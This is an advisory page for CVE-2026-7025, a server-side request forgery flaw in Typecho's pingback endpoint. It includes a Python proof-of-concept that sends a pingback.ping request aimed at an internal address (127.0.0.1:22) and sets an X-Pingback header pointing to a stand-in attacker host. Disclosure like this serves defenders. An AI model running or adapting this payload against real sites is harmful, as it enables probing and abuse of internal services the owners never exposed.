Security Vulnerability Report
中文
CVE-2026-7025 CVSS 7.3 HIGH

CVE-2026-7025

Published: 2026-04-26 08:16:00
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was found in Typecho up to 1.3.0. This vulnerability affects the function Service::sendPingHandle of the file var/Widget/Service.php of the component Ping Back Service Endpoint. The manipulation of the argument X-Pingback/link results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Typecho <= 1.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target_url = "http://example.com/action/xmlrpc" headers = { "User-Agent": "SSRF-Test", "Content-Type": "application/xml" } # Malicious payload pointing to an internal service body = """<?xml version="1.0" encoding="iso-8859-1"?> <methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://127.0.0.1:22</string></value></param> <param><value><string>http://example.com</string></value></param> </params> </methodCall> """ # Alternative: Manipulating X-Pingback header if endpoint logic differs headers["X-Pingback"] = "http://attacker-controlled.com/burp" try: response = requests.post(target_url, data=body, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
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